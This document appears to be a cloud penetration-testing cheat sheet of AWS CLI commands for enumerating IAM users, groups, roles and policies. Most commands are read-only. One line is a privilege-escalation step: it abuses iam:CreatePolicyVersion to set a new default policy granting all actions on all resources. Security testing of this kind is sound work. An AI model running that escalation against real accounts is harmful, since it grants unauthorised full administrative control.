aws iam list-users
# With profile
aws iam list-users --profile [profile-name]
List the IAM groups that the specified IAM user belongs to :
aws iam list-groups-for-user --user-name [user-name]
List all manages policies that are attached to the specified IAM user :
aws iam list-attached-user-policies --user-name [user-name]
# With profile
aws iam list-attached-user-policies --user-name [user-name] --profile [profile-name]
Lists the names of the inline policies embedded in the specified IAM user :
aws iam list-user-policies --user-name [user-name]
Enumeration - Groups
IAM Groups
aws iam list-groups
All users in a group
aws iam get-group --group-name [group-name]
All managed policies that are attached to the specified IAM Group
aws iam list-attached-group-policies --group-name [group-name]
Names of the inline policies embedded in the specified IAM Group
aws iam list-group-policies --group-name [group-name]
Enumeration - Roles
List of IAM Roles
aws iam list-roles
All managed policies that are attached to the specified IAM role
aws iam list-attached-role-policies --role-name [ role-name]
Names of the inline policies embedded in the specified IAM role
aws iam list-role-policies --role-name [ role-name]
Enumeration - Policies
List of all iam policies
aws iam list-policies
Information about the specified managed policy
aws iam get-policy --policy-arn [policy-arn]
# With profile
aws iam get-policy --policy-arn [policy-arn] --profile [profile-name]
Information about the versions of the specified manages policy
aws iam list-policy-versions --policy-arn [policy-arn]
Information about the specified version of the specified managed policy
aws iam get-policy-version --policy-arn [policy-arn] --version-id [version-id]
# With profile
aws iam get-policy-version --policy-arn [policy-arn] --version-id [version-id] --profile [profile-name]
One of the permissions is iam:CreatePolicyVersion ? Use this to create a new version of the attached policy with privileged access
aws iam create-policy-version --policy-arn [policy-arn] --policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":"*","Resource":"*"}]}' --set-as-default --profile [profile-name]
Specified inline policy document that is embedded on the specified IAM user / group / role
aws iam get-user-policy --user-name user-name --policy-name [policy-name]
aws iam get-group-policy --group-name group-name --policy-name [policy-name]
aws iam get-role-policy --role-name role-name --policy-name [policy-name]
Enumeration - Cloud Services (EC2, S3 etc.) in an Organization AWS Account
You do not have to always necessarily change an ACL to test for write permissions if read permissions are enabled. You can simply check the "Grants" property in the response to a read operation and verify if any unauthorized users are allowed to perform the write operation!